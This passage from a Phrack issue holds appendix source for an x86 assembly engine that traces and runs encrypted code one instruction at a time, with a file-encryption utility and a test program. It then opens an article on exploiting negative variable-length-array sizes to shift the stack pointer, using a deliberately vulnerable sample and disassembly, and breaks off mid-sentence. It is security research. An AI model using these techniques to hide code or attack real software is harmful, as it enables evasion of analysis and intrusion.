IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
.text
/************************************************************************
* void *crypt_exec(
* decrypt_fn_ptr dfn, const void *key,
* const void *lo_addr, const void *hi_addr,
* const void *addr, ...)
* typedef (*decrypt_fn_ptr)(
* void *key, unsigned char *dst, const unsigned char *src);
*
* - dfn is pointer to deccryption function
* - key is pointer to crypt routine key data
* - addr is the addres where execution should begin. due to the way the
* code is decrypted and executed, it MUST be aligned to 8 (BLOCKSIZE)
* bytes!!
* - the rest are arguments to called function
*
* The crypt_exec stops when the stack pointer becomes equal to what it
* was on entry, and executing 'ret' would cause the called function to
* exit. This works assuming normal C compiled code.
*
* Returns the value the function would normally return.
*
* This code calls:
* int xde_disasm(unsigned char *ip, struct xde_instr *outbuf);
* XDE disassembler engine is compiled and used with PACKED structure!
*
* It is assumed that the encryption algorithm uses 64-bit block size.
* Very good protection could be done if decryption is executed on the
* SMART CARD.
*
* Some terminology:
* 'Traced' refers to the original program being executed instruction by
* instruction. The technique used resembles Knuth's tracing routine (and
* indeed, we get true tracing when decryption is dropped).
*
* 'Our' refers to our data stack, etc.
*
* TODOs and limitations:
* - some instructions are not emulated (FAR CALL/JMP/RET, RET NEAR imm16)
* - LOOP* and JCXZ opcodes haven't been tested
* - _jcc_rel32 has been tested only indirectly by _jcc_rel8
***********************************************************************/
/*
Offsets into xde_instr struct.
*/
#define OPCODE 23
#define OPCODE2 24
#define MODRM 25
/*
Set up our stack and save traced context. The context is saved at the end
of our stack.
*/
#define SAVE_TRACED_CONTEXT \
movl %esp, traced_esp ;\
movl $stk_end, %esp ;\
pusha ;\
pushf
/*
Restore traced context from the current top of stack. After that restores
traced stack pointer.
*/
#define RESTORE_TRACED_CONTEXT \
popf ;\
popa ;\
movl traced_esp, %esp
/*
Identity decryption routine. This just copies 8 bytes (BLOCKSIZE) from
source to destination. Has normal C calling convention. Is not global.
*/
identity_decrypt:
movl 8(%esp), %edi /* destination address */
movl 12(%esp), %esi /* source address */
movl $8, %ecx /* 8 bytes */
cld
rep movsb
ret
crypt_exec:
.globl crypt_exec
.extern disasm
/*
Fetch all arguments. We are called from C and not expected to save
registers. This is the stack on entry:
[ ret_addr dfn key lo_addr hi_addr addr ...args ]
*/
popl %eax /* return address */
popl r_decrypt /* real decryption function pointer */
popl key /* encryption key */
popl lo_addr /* low traced eip */
popl hi_addr /* high traced eip */
popl traced_eip /* eip to start tracing */
pushl %eax /* put return addr to stack again */
/*
now the stack frame resembles as if inner function (starting at
traced_eip) were called by normal C calling convention (after return
address, the vararg arguments folow)
*/
movl %esp, end_esp /* this is used to stop tracing. */
movl $0, traced_ctr /* reset counter of insns to 0 */
decryptloop:
/*
This loop traces a single instruction.
The CONTEXT at the start of each iteration:
traced_eip: points to the next instruction in traced program
First what we ever do is switch to our own stack and store the traced
program's registers including eflags.
Instructions are encrypted in ECB mode in blocks of 8 bytes.
Therefore, we always must start decryption at the lower 8-byte
boundary. The total of three blocks (24) bytes are decrypted for one
instruction. This is due to alignment and maximum instruction length
constraints: if the instruction begins at addres that is congruent
to 7 mod 8 + 16 bytes maximum length (given some slack) gives
instruction span of three blocks.
Yeah, I know ECB sucks, but this is currently just a proof-of
concept. Design something better for yourself if you need it.
*/
SAVE_TRACED_CONTEXT
decryptloop_nocontext:
/*
This loop entry point does not save traced context. It is used from
control transfer instruction emulation where we doall work ourselves
and don't use traced context.
The CONTEXT upon entry is the same as for decryptloop.
First decide whether to decrypt or just trace the plaintext code.
*/
movl traced_eip, %eax
movl $identity_decrypt, %ebx /* assume no decryption */
cmpl lo_addr, %eax
jb .store_decrypt_ptr /* traced_eip < lo_addr */
cmpl hi_addr, %eax
ja .store_decrypt_ptr /* traced_eip > hi_addr */
movl r_decrypt, %ebx /* in bounds, do decryption */
.store_decrypt_ptr:
movl %ebx, decrypt
/*
Decrypt three blocks starting at eax, reusing arguments on the stack
for the total of 3 calls. WARNING! For this to work properly, the
decryption function MUST NOT modify its arguments!
*/
andl $-8, %eax /* round down traced_eip to 8 bytes */
pushl %eax /* src buffer */
pushl $insn /* dst buffer */
pushl key /* key data pointer */
call *decrypt /* 1st block */
addl $8, 4(%esp) /* advance dst */
addl $8, 8(%esp) /* advance src */
call *decrypt /* 2nd block */
addl $8, 4(%esp) /* advance dst */
addl $8, 8(%esp) /* advance src */
call *decrypt /* 3rd block */
addl $12, %esp /* clear args from stack */
/*
Obtain the real start of instruction in the decrypted buffer. The
traced eip is taken modulo blocksize (8) and added to the start
address of decrypted buffer. Then XDE is called (standard C calling
convention) to get necessary information about the instruction.
*/
movl traced_eip, %eax
andl $7, %eax /* traced_eip mod 8 */
addl $insn, %eax /* offset within decrypted buffer */
pushl $disbuf /* address to disassemble into */
pushl %eax /* insn offset to disassemble */
call xde_disasm /* disassemble and return len */
movl %eax, ilen /* store instruction length */
popl %eax /* decrypted insn start */
popl %ebx /* clear remaining arg from stack */
/*
Calculate the offset in control table of the instruction handling
routine. Non-control transfer instructions are just executed in
traced context, other instructions are emulated.
Before executing the instruction, the traced eip is advanced by
instruction length, and the number of executed instructions is
incremented. We also append indirect 'jmp *continue' after the
instruction, to continue execution at appropriate place in our
tracing. The JMP indirect opcodes are 0xFF 0x25.
*/
movl ilen, %ebx
addl %ebx, traced_eip /* advance traced eip */
incl traced_ctr /* increment counter */
movw $0x25FF, (%eax, %ebx) /* JMP indirect; little-endian! */
movl $continue, 2(%eax, %ebx) /* store address */
movzbl OPCODE+disbuf, %esi /* load instruction byte */
jmp *control_table(,%esi,4) /* execute by appropirate handler */
.data
/*
Emulation routines start here. They are in data segment because code
segment isn't writable and we are modifying our own code. We don't
want yet to mess around with mprotect(). One day (non-exec page table
support on x86-64) it will have to be done anyway..
The CONTEXT upon entry on each emulation routine:
eax : start of decrypted (CURRENT) insn addr to execute
ilen : instruction length in bytes
stack top -> [traced: eflags edi esi ebp esp ebx edx ecx eax]
traced_esp : original program's esp
traced_eip : eip of next insn to execute (NOT of CURRENT insn!)
*/
_unhandled:
/*
Unhandled opcodes not normally generated by compiler. Once proper
emulation routine is written, they become handled :)
Executing privileged instruction, such as HLT, is the easiest way to
terminate the program. %eax holds the address of the instruction we
were trying to trace so it can be observed from debugger.
*/
hlt
_nonjump:
/*
Common emulation for all non-control transfer instructions.
Instruction buffer (insn) is already filled with decrypted blocks.
Decrypted instruction can begin in the middle of insn buffer, so the
relative jmp instruction is adjusted to jump to the traced insn,
skipping 'junk' at the beginning of insn.
When the instruction is executed, our execution continues at location
where 'continue' points to. Normally, this is decryptloop, but
occasionaly it is temporarily changed (e.g. in _grp5).
*/
subl $insn, %eax /* insn begin within insn buffer */
movb %al, .execute+1 /* update jmp instruction */
RESTORE_TRACED_CONTEXT
.execute:
jmp insn /* relative, only offset adjusted */
insn:
.fill 32, 1, 0x90
_jcc_rel8:
/*
Relative 8-bit displacement conditional jump. It is handled by
relative 32-bit displacement jump, once offset is adjusted. Opcode
must also be adjusted: short jumps are 0x70-0x7F, long jumps are 0x0F
0x80-0x8F. (conditions correspond directly). Converting short to long
jump needs adding 0x10 to 2nd opcode.
*/
movsbl 1(%eax), %ebx /* load sign-extended offset */
movb (%eax), %cl /* load instruction */
addb $0x10, %cl /* adjust opcode to long form */
/* drop processing to _jcc_rel32 as 32-bit displacement */
_jcc_rel32:
/*
Emulate 32-bit conditional relative jump. We pop the traced flags,
let the Jcc instruction execute natively, and then adjust traced eip
ourselves, depending whether Jcc was taken or not.
CONTEXT:
ebx: jump offset, sign-extended to 32 bits
cl : real 2nd opcode of the instruction (1st is 0x0F escape)
*/
movb %cl, ._jcc_rel32_insn+1 /* store opcode to instruction */
popf /* restore traced flags */
._jcc_rel32_insn:
/*
Explicit coding of 32-bit relative conditional jump. It is executed
with the traced flags. Also the jump offset (32 bit) is supplied.
*/
.byte 0x0F, 0x80
.long ._jcc_rel32_true - ._jcc_rel32_false
._jcc_rel32_false:
/*
The Jcc condition was false. Just save traced flags and continue to
next instruction.
*/
pushf
jmp decryptloop_nocontext
._jcc_rel32_true:
/*
The Jcc condition was true. Traced flags are saved, and then the
execution falls through to the common eip offset-adjusting routine.
*/
pushf
rel_offset_fixup:
/*
Common entry point to fix up traced eip for relative control-flow
instructions.
CONTEXT:
traced_eip: already advanced to the would-be next instruction. this
is done in decrypt_loop before transferring control to
any insn-handler.
ebx : sign-extended 32-bit offset to add to eip
*/
addl %ebx, traced_eip
jmp decryptloop_nocontext
_retn:
/*
Near return (without imm16). This is the place where the end-of
trace condition is checked. If, at this point, esp equals end_esp,
this means that the crypt_exec would return to its caller.
*/
movl traced_esp, %ebp /* compare curr traced esp to esp */
cmpl %ebp, end_esp /* when crypt_exec caller's return */
je ._endtrace /* address was on top of the stack */
/*
Not equal, emulate ret.
*/
movl %esp, %ebp /* save our current stack */
movl traced_esp, %esp /* get traced stack */
popl traced_eip /* pop return address */
movl %esp, traced_esp /* write back traced stack */
movl %ebp, %esp /* restore our current stack */
jmp decryptloop_nocontext
._endtrace:
/*
Here the traced context is completely restored and RET is executed
natively. Our tracing routine is no longer in control after RET.
Regarding C calling convention, the caller of crypt_exec will get
the return value of traced function.
One detail we must watch for: the stack now looks like this:
stack top -> [ ret_addr ...args ]
but we have been called like this:
stack top -> [ ret_addr dfn key lo_addr hi_addr addr ...args ]
and this is what compiler expects when popping arg list. So we must
fix the stack. The stack pointer can be just adjusted by -20 instead
of reconstructing the previous state because C functions are free to
modify their arguments.
CONTEXT:
ebp: current traced esp
*/
movl (%ebp), %ebx /* return address */
subl $20, %ebp /* fake 5 extra args */
movl %ebx, (%ebp) /* put ret addr on top of stack */
movl %ebp, traced_esp /* store adjusted stack */
RESTORE_TRACED_CONTEXT
ret /* return without regaining control */
/*
LOOPNE, LOOPE and LOOP instructions are executed from the common
handler (_doloop). Only the instruction opcode is written from
separate handlers.
28 is the offset of traced ecx register that is saved on our stack.
*/
_loopne:
movb $0xE0, ._loop_insn /* loopne opcode */
jmp ._doloop
_loope:
movb $0xE1, ._loop_insn /* loope opcode */
jmp ._doloop
_loop:
movb $0xE2, ._loop_insn /* loop opcode */
._doloop:
/*
* Get traced context that is relevant for LOOP* execution: signed
* offset, traced ecx and traced flags.
*/
movsbl 1(%eax), %ebx
movl 28(%esp), %ecx
popf
._loop_insn:
/*
Explicit coding of loop instruction and offset.
*/
.byte 0xE0 /* LOOP* opcodes: E0, E1, E2 */
.byte ._loop_insn_true - ._loop_insn_false
._loop_insn_false:
/*
LOOP* condition false. Save only modified context (flags and ecx)
and continue tracing.
*/
pushf
movl %ecx, 28(%esp)
jmp decryptloop_nocontext
._loop_insn_true:
/*
LOOP* condition true. Save only modified context, and jump to the
rel_offset_fixup to fix up traced eip.
*/
pushf
movl %ecx, 28(%esp)
jmp rel_offset_fixup
_jcxz:
/*
JCXZ. This is easier to simulate than to natively execute.
*/
movsbl 1(%eax), %ebx /* get signed offset */
cmpl $0, 28(%esp) /* test traced ecx for 0 */
jz rel_offset_fixup /* if so, fix up traced EIP */
jmp decryptloop_nocontext
_callrel:
/*
Relative CALL.
*/
movb $1, %cl /* 1 to indicates relative call */
movl 1(%eax), %ebx /* get offset */
_call:
/*
CALL emulation.
CONTEXT:
cl : relative/absolute indicator.
ebx: absolute address (cl==0) or relative offset (cl!=0).
*/
movl %esp, %ebp /* save our stack */
movl traced_esp, %esp /* push traced eip onto */
pushl traced_eip /* traced stack */
movl %esp, traced_esp /* write back traced stack */
movl %ebp, %esp /* restore our stack */
testb %cl, %cl /* if not zero, then it is a */
jnz rel_offset_fixup /* relative call */
movl %ebx, traced_eip /* store dst eip */
jmp decryptloop_nocontext /* continue execution */
_jmp_rel8:
/*
Relative 8-bit displacement JMP.
*/
movsbl 1(%eax), %ebx /* get signed offset */
jmp rel_offset_fixup
_jmp_rel32:
/*
Relative 32-bit displacement JMP.
*/
movl 1(%eax), %ebx /* get offset */
jmp rel_offset_fixup
_grp5:
/*
This is the case for 0xFF opcode which escapes to GRP5: the real
instruction opcode is hidden in bits 5, 4, and 3 of the modR/M byte.
*/
movb MODRM+disbuf, %bl /* get modRM byte */
shr $3, %bl /* shift bits 3-5 to 0-2 */
andb $7, %bl /* and test only bits 0-2 */
cmpb $2, %bl /* < 2, not control transfer */
jb _nonjump
cmpb $5, %bl /* > 5, not control transfer */
ja _nonjump
cmpb $3, %bl /* CALL FAR */
je _unhandled
cmpb $5, %bl /* JMP FAR */
je _unhandled
movb %bl, %dl /* for future reference */
/*
modR/M equals 2 or 4 (near CALL or JMP).
In this case the reg field of modR/M (bits 3-5) is the part of
instruction opcode.
Replace instruction byte 0xFF with 0x8B (MOV r/m32 to reg32 opcode).
Replace reg field with 3 (ebx register index).
*/
movb $0x8B, (%eax) /* replace with MOV_to_reg32 opcode */
movb 1(%eax), %bl /* get modR/M byte */
andb $0xC7, %bl /* mask bits 3-5 */
orb $0x18, %bl /* set them to 011=3: ebx reg index */
movb %bl, 1(%eax) /* set MOV target to ebx */
/*
We temporarily update continue location to continue execution in
this code instead of jumping to decryptloop. We execute MOV in TRACED
context because it must use traced registers for address calculation.
Before that we save OUR esp so that original TRACED context isn't
lost (MOV updates ebx, traced CALL wouldn't mess with any registers).
First we save OUR context, but after that we must restore TRACED ctx.
In order to do that, we must adjust esp to point to traced context
before restoration.
*/
movl $._grp5_continue, continue
movl %esp, %ebp /* save traced context pointer into ebp */
pusha /* store our context; eflags irrelevant */
movl %esp, our_esp /* our context pointer */
movl %ebp, %esp /* adjust traced context pointer */
jmp _nonjump
._grp5_continue:
/*
This is where execution continues after MOV calculates effective
address for us.
CONTEXT upon entry:
ebx: target address where traced execution should continue
dl : opcode part (bits 3-5) of modR/M, shifted to bits 0-2
*/
movl $decryptloop, continue /* restore continue location */
movl our_esp, %esp /* restore our esp */
movl %ebx, 16(%esp) /* so that ebx is restored anew */
popa /* our context along with new ebx */
cmpb $2, %dl /* CALL near indirect */
je ._grp5_call
movl %ebx, traced_eip /* JMP near indirect */
jmp decryptloop_nocontext
._grp5_call:
xorb %cl, %cl /* mark: addr in ebx is absolute */
jmp _call
_0xf:
/*
0x0F opcode esacpe for two-byte opcodes. Only 0F 0x80-0x8F range are
Jcc rel32 instructions. Others are normal instructions.
*/
movb OPCODE2+disbuf, %cl /* extended opcode */
cmpb $0x80, %cl
jb _nonjump /* < 0x80, not Jcc */
cmpb $0x8F, %cl
ja _nonjump /* > 0x8F, not Jcc */
movl 2(%eax), %ebx /* load 32-bit offset */
jmp _jcc_rel32
control_table:
/*
This is the jump table for instruction execution dispatch. When the
real opcode of the instruction is found, the tracer jumps indirectly
to execution routine based on this table.
*/
.rept 0x0F /* 0x00 - 0x0E */
.long _nonjump /* normal opcodes */
.endr
.long _0xf /* 0x0F two-byte escape */
.rept 0x60 /* 0x10 - 0x6F */
.long _nonjump /* normal opcodes */
.endr
.rept 0x10 /* 0x70 - 0x7F */
.long _jcc_rel8 /* relative 8-bit displacement */
.endr
.rept 0x10 /* 0x80 - 0x8F */
.long _nonjump /* long displ jump handled from */
.endr /* _0xf opcode escape */
.rept 0x0A /* 0x90 - 0x99 */
.long _nonjump
.endr
.long _unhandled /* 0x9A: far call to full pointer */
.rept 0x05 /* 0x9B - 0x9F */
.long _nonjump
.endr
.rept 0x20 /* 0xA0 - 0xBF */
.long _nonjump
.endr
.long _nonjump, _nonjump /* 0xC0, 0xC1 */
.long _unhandled /* 0xC2: retn imm16 */
.long _retn /* 0xC3: retn */
.rept 0x06 /* 0xC4 - 0xC9 */
.long _nonjump
.endr
.long _unhandled, _unhandled /* 0xCA, 0xCB : far ret */
.rept 0x04
.long _nonjump
.endr
.rept 0x10 /* 0xD0 - 0xDF */
.long _nonjump
.endr
.long _loopne, _loope /* 0xE0, 0xE1 */
.long _loop, _jcxz /* 0xE2, 0xE3 */
.rept 0x04 /* 0xE4 - 0xE7 */
.long _nonjump
.endr
.long _callrel /* 0xE8 */
.long _jmp_rel32 /* 0xE9 */
.long _unhandled /* far jump to full pointer */
.long _jmp_rel8 /* 0xEB */
.rept 0x04 /* 0xEC - 0xEF */
.long _nonjump
.endr
.rept 0x0F /* 0xF0 - 0xFE */
.long _nonjump
.endr
.long _grp5 /* 0xFF: group 5 instructions */
.data
continue: .long decryptloop /* where to continue after 1 insn */
.bss
.align 4
traced_esp: .long 0 /* traced esp */
traced_eip: .long 0 /* traced eip */
traced_ctr: .long 0 /* incremented by 1 for each insn */
lo_addr: .long 0 /* low encrypted eip */
hi_addr: .long 0 /* high encrypted eip */
our_esp: .long 0 /* our esp... */
end_esp: .long 0 /* esp when we should stop tracing */
local_stk: .fill 1024, 4, 0 /* local stack space (to call C) */
stk_end = . /* we need this.. */
ilen: .long 0 /* instruction length */
key: .long 0 /* pointer to key data */
decrypt: .long 0 /* USED decryption function */
r_decrypt: .long 0 /* REAL decryption function */
disbuf: .fill 128, 1, 0 /* xde disassembly buffer */
----[ A.2 - The file encryption utility source: cryptfile.c
/*
Copyright (c) 2004 Zeljko Vrba
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* This program encrypts a portion of the file, writing new file with
* .crypt appended. The permissions (execute, et al) are NOT preserved!
* The blocksize of 8 bytes is hardcoded.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "cast5.h"
#define BLOCKSIZE 8
#define KEYSIZE 16
typedef void (*cryptblock_f)(void*, u8*, const u8*);
static unsigned char *decode_hex_key(char *hex)
{
static unsigned char key[KEYSIZE];
int i;
if(strlen(hex) != KEYSIZE << 1) {
fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n",
KEYSIZE << 1);
exit(1);
}
for(i = 0; i < KEYSIZE; i++, hex += 2) {
unsigned int x;
char old = hex[2];
hex[2] = 0;
if(sscanf(hex, "%02x", &x) != 1) {
fprintf(stderr, "non-hex digit in KEY.\n");
exit(1);
}
hex[2] = old;
key[i] = x;
}
return key;
}
static void *docrypt(
FILE *in, FILE *out,
long startoff, long endoff,
cryptblock_f crypt, void *ctx)
{
char buf[BLOCKSIZE], enc[BLOCKSIZE];
long curroff = 0;
size_t nread = 0;
while((nread = fread(buf, 1, BLOCKSIZE, in)) > 0) {
long diff = startoff - curroff;
if((diff < BLOCKSIZE) && (diff > 0)) {
/*
this handles the following mis-alignment (each . is 1 byte)
...[..|......]....
^ ^ ^ curoff+BLOCKSIZE
| startoff
curroff
*/
if(fwrite(buf, 1, diff, out) < diff) {
perror("fwrite");
exit(1);
}
memmove(buf, buf + diff, BLOCKSIZE - diff);
fread(buf + BLOCKSIZE - diff, 1, diff, in);
curroff = startoff;
}
if((curroff >= startoff) && (curroff < endoff)) {
crypt(ctx, enc, buf);
} else {
memcpy(enc, buf, BLOCKSIZE);
}
if(fwrite(enc, 1, nread, out) < nread) {
perror("fwrite");
exit(1);
}
curroff += nread;
}
}
int main(int argc, char **argv)
{
FILE *in, *out;
long startoff, endoff;
char outfname[256];
unsigned char *key;
struct cast5_ctx ctx;
cryptblock_f mode;
if(argc != 6) {
fprintf(stderr, "USAGE: %s <-e|-d> FILE KEY STARTOFF ENDOFF\n",
argv[0]);
fprintf(stderr, "KEY MUST be 32 hex digits (128 bits).\n");
return 1;
}
if(!strcmp(argv[1], "-e")) {
mode = cast5_encrypt;
} else if(!strcmp(argv[1], "-d")) {
mode = cast5_decrypt;
} else {
fprintf(stderr, "invalid mode (must be either -e od -d)\n");
return 1;
}
startoff = atol(argv[4]);
endoff = atol(argv[5]);
key = decode_hex_key(argv[3]);
if(cast5_setkey(&ctx, key, KEYSIZE) < 0) {
fprintf(stderr, "error setting key (maybe invalid length)\n");
return 1;
}
if((endoff - startoff) & (BLOCKSIZE-1)) {
fprintf(stderr, "STARTOFF and ENDOFF must span an exact multiple"
" of %d bytes\n", BLOCKSIZE);
return 1;
}
if((endoff - startoff) < BLOCKSIZE) {
fprintf(stderr, "STARTOFF and ENDOFF must span at least"
" %d bytes\n", BLOCKSIZE);
return 1;
}
sprintf(outfname, "%s.crypt", argv[2]);
if(!(in = fopen(argv[2], "r"))) {
fprintf(stderr, "fopen(%s): %s\n", argv[2], strerror(errno));
return 1;
}
if(!(out = fopen(outfname, "w"))) {
fprintf(stderr, "fopen(%s): %s\n", outfname, strerror(errno));
return 1;
}
docrypt(in, out, startoff, endoff, mode, &ctx);
fclose(in);
fclose(out);
return 0;
}
----[ A.3 - The test program: test2.c
/*
Copyright (c) 2004 Zeljko Vrba
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "cast5.h"
#define BLOCKSIZE 8
#define KEYSIZE 16
/*
* f1 and f2 are encrypted with the following 128-bit key:
* 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of the string 'password')
*/
static int f1(int a)
{
int i, s = 0;
for(i = 0; i < a; i++) {
s += i*i;
}
printf("called plaintext code: f1 = %d\n", a);
return s;
}
static int f2(int a, int b)
{
int i;
a = f1(a);
for(i = 0; i < b; i++) {
a += b;
}
return a;
}
static unsigned char *decode_hex_key(char *hex)
{
static unsigned char key[KEYSIZE];
int i;
if(strlen(hex) != KEYSIZE << 1) {
fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n",
KEYSIZE << 1);
exit(1);
}
for(i = 0; i < KEYSIZE; i++, hex += 2) {
unsigned int x;
char old = hex[2];
hex[2] = 0;
if(sscanf(hex, "%02x", &x) != 1) {
fprintf(stderr, "non-hex digit in KEY.\n");
exit(1);
}
hex[2] = old;
key[i] = x;
}
return key;
}
int main(int argc, char **argv)
{
int a, b, result;
char op[16], hex[256];
void *esp;
struct cast5_ctx ctx;
printf("enter decryption key: ");
scanf("%255s", hex);
if(cast5_setkey(&ctx, decode_hex_key(hex), KEYSIZE) < 0) {
fprintf(stderr, "error setting key.\n");
return 1;
}
printf("a b = "); scanf("%d %d", &a, &b);
asm("movl %%esp, %0" : "=m" (esp));
printf("esp=%p\n", esp);
result = crypt_exec(cast5_decrypt, &ctx, f1, decode_hex_key,
f2, a, b);
asm("movl %%esp, %0" : "=m" (esp));
printf("esp=%p\n", esp);
printf("result = %d\n", result);
return 0;
}
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0e of 0x14
|=----=[ Clutching at straws: When you can shift the stack pointer ]=----=|
|=-----------------------------------------------------------------------=|
|=----------=[ Andrew Griffiths <andrewg@felinemenace.org> ]=------------=|
--[ Table of contents
1 - Introduction
2 - The story
2.1 - C99 standard note
3 - Breakdown
4 - Moving on
4.1 - Requirements for exploitability
5 - Links
6 - Finishing up
--[ 1 - Introduction
The paper documents a rare, but none-the less interesting bug in
variable sized arrays in C. This condition appears when a user
supplied length is passed via a parameter to a variable
declaration in a function.
As a result of this, an attacker may be able to "shift" the stack
pointer to point it to somewhere unexpected, such as above
the stack pointer, or somewhere else like the Global Offset
Table.
--[ 2 - The story
After playing a couple rounds of pool and drinking at a local
pub, nemo talked about some of the fruits after the days auditing
session. He mentioned that there was some interesting code
constructs which he hadn't fully explored yet (perhaps because
I dragged him out drinking).
Basically, the code vaguely looked like:
int function(int len, some_other_args)
{
int a;
struct whatever *b;
unsigned long c[len];
if(len > SOME_DEFINE) {
return ERROR;
}
/* rest of the code */
}
and we started discussing about that, and how we could take
advantage of that. After various talks about the compiler emitting
code that wouldn't allow it, architectures that it'd work on (and
caveats of those architectures), and of course, another round or
two drinks, we came to the conclusion that it'd be perfectly
feasible to exploit, and it would be a standard esp -=
user_supplied_value;
The problem in the above code, is that if len is user-supplied
it would be possible to make it negative, and move the stack
pointer move closer to the top of the stack, as opposed to closer
to the bottom (assuming the stack grows down.)
----[ 2.1 - C99 standard note
The C99 standard allows for variable-length array declaration:
To quote,
"In this example, the size of a variable-length array is computed
and returned from a function:
size_t fsize3 (int n)
{
char b[n+3]; //Variable length array.
return sizeof b; // Execution timesizeof.
}
int main()
{
size_t size;
size = fsize3(10); // fsize3 returns 13.
return 0;
}"
--[ 3 - Break down
Here is the (convoluted) C file we'll be using as an example.
We'll cover more things later on in the article.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
int func(int len, char *stuff)
{
char x[len];
printf("sizeof(x): %d\n", sizeof(x));
strncpy(x, stuff, 4);
return 58;
}
int main(int argc, char **argv)
{
return func(atoi(argv[1]), argv[2]);
}
The question arises though, what instructions does the compiler
generate for the func function?
Here is the resulting disassembly from "gcc version 3.3.5
(Debian 1:3.3.5-8ubuntu2)", gcc dmeiswrong.c -o dmeiswrong.
080483f4 <func>:
80483f4: 55 push %ebp
80483f5: 89 e5 mov %esp,%ebp ; standard function
; prologue
80483f7: 56 push %esi
80483f8: 53 push %ebx ; preserve the appropriate
; register contents.
80483f9: 83 ec 10 sub $0x10,%esp ; setup local
; variables
80483fc: 89 e6 mov %esp,%esi ; preserve the esp
; register
80483fe: 8b 55 08 mov 0x8(%ebp),%edx ; get the length
8048401: 4a dec %edx ; decrement it
8048402: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048405: 83 c0 0f add $0xf,%eax
8048408: c1 e8 04 shr $0x4,%eax
804840b: c1 e0 04 shl $0x4,%eax
The last three lines are eax = (((eax + 15) >> 4) << 4); This rounds up
and aligns eax to a paragraph boundary.
804840e: 29 c4 sub %eax,%esp ; adjust esp
8048410: 8d 5c 24 0c lea 0xc(%esp),%ebx ; ebx = esp + 12
8048414: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1
8048417: 89 44 24 04 mov %eax,0x4(%esp) ; len argument
804841b: c7 04 24 78 85 04 08 movl $0x8048578,(%esp) ; fmt string
; "sizeof(x): %d\n"
8048422: e8 d9 fe ff ff call 8048300 <_init+0x3c> ; printf
8048427: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) ; len arg to
804842e: 00 ; strncpy
804842f: 8b 45 0c mov 0xc(%ebp),%eax
8048432: 89 44 24 04 mov %eax,0x4(%esp) ; data to copy
8048436: 89 1c 24 mov %ebx,(%esp) ; where to write
; ebx = adjusted esp + 12 (see 0x8048410)
8048439: e8 e2 fe ff ff call 8048320 <_init+0x5c> ; strncpy
804843e: 89 f4 mov %esi,%esp ; restore esp
8048440: b8 3a 00 00 00 mov $0x3a,%eax ; ready to return 58
8048445: 8d 65 f8 lea 0xfffffff8(%ebp),%esp
; we restore esp again, just in case it
; didn't happen in the first place.
8048448: 5b pop %ebx
8048449: 5e pop %esi
804844a: 5d pop %ebp
804844b: c3 ret ; restore registers and return.
What can we learn from the above assembly output?
1) There is some rounding done on the supplied value, thus meaning
small negative values (-15 > -1) and small values (1 - 15) will
become 0. This might possibly be useful, as we'll see below.
When the supplied value is -16 or less, then it will be possible
to move the stack pointer backwards (closer to the top of the
stack).
The instruction sub $eax, %esp at 0x804840e can be seen as add
$16, %esp when len is -16.[1]
2) The stack pointer is subtracted by the paragraph-aligned
supplied value.
Since we can supply an almost arbitary value to this, we can
point the stack pointer at a specified paragraph.
If the stack pointer value is known, we can calcuate the offset
needed to point the stack at that location in memory. This
allows us to modify writable sections such as the GOT and heap.
3) gcc can output some wierd assembly constructs.
--[ 4 - Moving on
So what does the stack diagram look like in this case? When we
reach 0x804840e (sub esp, eax) this is how it looks.
+------------+
0xc0000000 | ...... | Top of stack.
| ...... |
0xbffff86c | 0x08048482 | Return address
0xbffff868 | 0xbffff878 | Saved EBP
0xbffff864 | ...... | Saved ESI
0xbffff860 | ...... | Saved EBX
0xbffff85c | ...... | Local variable space
0xbffff858 | ...... | Local variable space
0xbffff854 | ...... | Local variable space
0xbffff850 +------------+ ESP
To overwrite the saved return address, we need to calculate what
